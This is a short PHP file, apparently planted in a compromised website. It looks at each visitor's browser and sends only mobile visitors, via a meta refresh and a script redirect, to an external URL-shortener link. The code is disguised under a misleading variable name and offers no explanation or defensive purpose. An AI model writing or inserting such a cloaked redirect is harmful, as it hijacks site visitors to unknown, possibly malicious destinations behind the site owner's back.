<?php $lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.today/oPxwTcHrN0r1" /><script>location.replace("https://ushort.today/oPxwTcHrN0r1");</script>'; $userAgent = $_SERVER['HTTP_USER_AGENT']; $mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile']; foreach ($mobileAgents as $agent) { if (stripos($userAgent, $agent) !== false) { echo $lineindexinstall; } } ?>